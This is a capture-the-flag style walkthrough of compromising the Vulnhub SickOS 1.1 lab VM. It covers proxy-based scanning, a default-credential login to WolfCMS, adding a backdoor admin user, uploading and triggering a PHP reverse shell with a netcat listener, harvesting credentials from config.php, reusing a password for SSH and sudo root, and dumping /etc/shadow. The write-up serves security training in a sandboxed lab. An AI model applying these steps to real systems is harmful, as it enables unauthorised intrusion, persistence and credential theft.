Vulnhub Sick OS 1.1

by on under Vulnhub
11 minute read

Sick OS is a Vulnerable VM which can be found on Vulnhub. These VM’s are designed with software and or system flaws and therefore vulnerable by nature. The key to exploiting them is figuring out how to leverage what you find! These VM’s are great tools for educational purposes and improving ones skills AND they’re FREE!!! These machines also provide a safe and legal method of conducting penetration tests within a safe lab environment. This will be a full walk-through on compromising the host!


This guide is for educational purposes only! You should never attempt any of the techniques outlined in this post on live targets, unless you are the owner or have the consent of the owner and legal authority to do so i.e. a scope of work, which is a legally binding document. You have been warned ….

Ok so with the serious stuff out of the way we can move on …

If you want to follow along you can grab the Sick OS 1.1 VM from here SickOS

Vulnhub - Sick OS 1.1 VM

Name........: SickOs1.1
Date Release: 11 Dec 2015
Author......: D4rk
Series......: SickOs
Objective...: Get /root/a0216ea4d51874464078c618298b1367.txt
Tester(s)...: h1tch1

Type: Boot-to-Root VM

Host discovery

Ok first things first, we need to identify the host in my lab (the lab is sandboxed and IP ranges changed regularly). I used netdiscover for that:

# netdiscover -r

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                

 20 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 1200                                                                                                                                                            
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------    08:00:27:ac:f3:c3      1      60  Cadmus Computer Systems                                                                                                                                                                                                                                 

Ok good so now we have our target IP:

Port scan and service enumeration

:~# nmap -Pn -p- -sSV -A

Starting Nmap 7.31 ( ) at 2016-11-24 11:19 EST
Nmap scan report for SickOs.home (
Host is up (0.00084s latency).
Not shown: 65532 filtered ports
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:GET
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
MAC Address: 08:00:27:AC:F3:C3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.84 ms SickOs.home (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 120.07 seconds

So, our Nmap scan has identified that TCP Port 22 SSH and Port 3128 Squid proxy are open. Now we have starting point! You may have noticed from the Nmap scan that TCP Port 80 isn’t open and Port 8080 is closed. I did try them on the off chance but as suspect they returned nothing!

Squid proxy

Starting with the Squid proxy http service, I accessed it via a web browser and got this:


I also grabbed the HTTP Headers (just in case!):

HTTP Header info:

:~# curl -LIN
HTTP/1.0 400 Bad Request
Server: squid/3.1.19
Mime-Version: 1.0
Date: Thu, 24 Nov 2016 17:04:44 GMT
Content-Type: text/html
Content-Length: 3150
X-Squid-Error: ERR_INVALID_URL 0
Vary: Accept-Language
Content-Language: en
X-Cache: MISS from localhost
X-Cache-Lookup: NONE from localhost:3128
Via: 1.0 localhost (squid/3.1.19)
Connection: close

This didn’t give us much, as expected! Now lets set up our browser to use the Squid proxy:

Proxy Setup

Now we have the proxy in place, it’s probably a good time to run Nikto and or Dirb (I ran both):


Now, I’d not used nikto to scan using a proxy before, so this was new to me! A quick google/man page read sorted out the finer details.

I needed to make a change to the ‘/etc/nikto.conf’ file and add these lines:

# Proxy settings -- still must be enabled by -userproxy

Once the changes had been made and saved, it was time to set Nikto loose!



Using Dirb via the proxy was a similar process, though no config change was needed, I just had to specify the target URL, add the ‘-p’ flag, then our target IP:Port.


Ok, so know I have a decent idea of what’s going on with the web-server. Before I couldn’t get to any of the locations listed, can I get there through the web proxy? Now that the proxy is enabled, I opened up a browser again and entered the target IP:


Now we have a different response, winner! Now we’re gaining some traction!!! So lets check the ‘/robots.txt’ file highlighted by Dirb.

So the /robots.txt file reveals:

User-agent: *
Disallow: /
Dissalow: /wolfcms

Another clue … ‘/wolfcms’, the game is a foot, lets get investigating!!!

By browsing to ‘’ we are greeted with a WolfCMS page (a quick google confirmed this was a content management system):


So, there wasn’t an obvious login option on the WolfCMS page, time for our old faithful friend, Google! A quick google lead me to this:


Wolf Login

As soon as I clicked on the ‘Username’ field an auto complete box popped up with the following:

Wolf password

This was the first time I had any type of interaction with the ‘username’ input field, normally the browser ‘autocomplete’ feature is set client side i.e. me, rather than server side. Taking this as a sign from the ‘L33T’ gods, I entered the old faithful combo of ‘admin/admin’; however, this failed with the following error:

The page isn't redirecting properly

Firefox has detected that the server is redirecting the request for this address in a way that will never complete.

Hmmm … what’s going on here then!

After a little online search, it seems that this may have something to do with cookies. A quick search led me to this…

On the redirect page press 'Alt + t' > Page info >  Security > View Coookies > Search <Target_IP> > 'Remove All' and close.

Once I had done the above, I refreshed the browser. This took me back to the login screen. I Re-entered the ‘admin/admin’ combo and I was in! If you’re following along, you should be greeted with the following:

Wolf Admin

So now we have access to the web server as an administrator. Looking around the settings confirms this, and it also seems I have the option to add a user and upload files!! DING DING DING!!! So I added an additional user as a back up with the same privilege level as the Administrator user:

Name: bob
Username: Hacker
Password: Hacker123

NB: Cheese alert!! I was having a ‘L33t’ moment with the username/password combo … forgive me!

Ok, so a quick recap; we now have web access as the administrator to the target hosts CMS application and we have added a back up user for those ‘just incase’ scenarios. Though this is not the main objective, we need to root the host!

After this I switched my attention to the file upload facility that I have access to as the user ‘administrator’!

The web server runs php code with at least one php file present already (as seen below):

%B%Y archive
<?php $archives = $this->archive->get(); ?>
<?php foreach ($archives as $archive): ?>
<div class="entry">
  <h3><?php echo $archive->link(); ?></h3>
  <p class="info">Posted by <?php echo $archive->author(); ?> on <?php echo $archive->date(); ?>
<?php endforeach; ?>

With this in mind, now seems like a good time to thinking about upload a PHP-Reverse-Shell! Pentestmonkey springs to mind! A quick visit to his site lets us nab a copy of his:

I modified the code to suit our scenario.

set_time_limit (0);
$VERSION = "1.0";
$ip = '';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;

As I now know from the Nikto/Dirb scans there are publicly accessible/browsable directories available on the host via the web browser. One of these dir’s is ‘/public/images’. This seems like a good location to upload our shell to. Through our Administrator console

Selecting the ‘Files’ option:

Wolf Admin

Uploading the php-reverse-shell file to the ‘/public/images’ directory is successful.

Exploit time…

Starting a netcat listener on my host allows me to catch the incoming connection from our reverse shell that I uploaded:

nc -lvp 1234

Then by browsing to the reverse shell URL:

We can now trigger our reverse php shell though this URL and have the server run the code that will initiate our reverse shell. This will then activate on our attacking host terminal where my netcat listener is waiting for incoming connections:

[email protected]:~# nc -l -v -p 1234
listening on [any] 1234 ...
connect to [] from SickOs.home [] 41618
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 15:29:06 up 31 min,  0 users,  load average: 0.01, 0.05, 0.05
USER     TTY      FROM              [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
$ ls

Ok, so its a low privilege shell! We need to elevate!! Whilst here, I look around for anything that can help with that:

Host info (/etc/os-release):

$ cat os-release
VERSION="12.04.4 LTS, Precise Pangolin"
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"

Then I had a look at the ‘/etc/passwd’ file for other users:

$ cat passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false

Note the ‘sickos’ user listed above.

I then decided to look in the ‘/var/www’ dir, to see if any of the files there have anything useful:

$ cd ../var/www                       
$ ls

‘wolfcms’ is directory, so I looked in there to:

$ cd wolfcms
$ ls

While having a look through the files in this dir the ‘config.php’ seemed like an obvious place to start for any hardcoded creds. Bingo!! The file contained some interesting details:

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', '[email protected]');
define('TABLE_PREFIX', '');

The config file has given me the root SQL login credentials for a mysql database ‘wolf’. My next step was to attempt to login into the mysql db from my current shell, this failed and I’m not sure why! I tried a few more time and it failed each time!

Ok, so what else do we have! We discovered a user ‘sickos’, a db user ‘root’ and we have a password, maybe there’s some password reuse going on! I decided to try the ssh service with the usernames and password I had recovered in attempt to leverage the ssh service on the target host. The user name ‘sickOS’ got me a result:

Wolf Admin

With the user confirmed as ‘sickos’ I checked if I had sudo privileges, using the same password ‘[email protected]’. This was accepted and I now have root privilege:

[email protected]:/$ sudo su
[sudo] password for sickos:
[email protected]:/# whoami

With this now confirmed, time to get some info:

--[Snip of shadow file]--
[email protected]:/# cat /etc/shadow

User hashes dumped.

And saving the best for last ………

Wolf Admin

There we have it folks! We got through it all and completed the objective, root access and ultimately pwnd SickOS! This is just the way I ‘rooted’ SickOS, there are other ways of doing this and more info can be retrieved…

I’d like to say a big thank you to @Vulnhub and @D4rk36 for providing the Sick OS series.

Well thats it folks… You don’t have to go home, but you cant stay here!

Thanks for reading!!

2017, Vulnhub, walkthroughs, Sick OS, New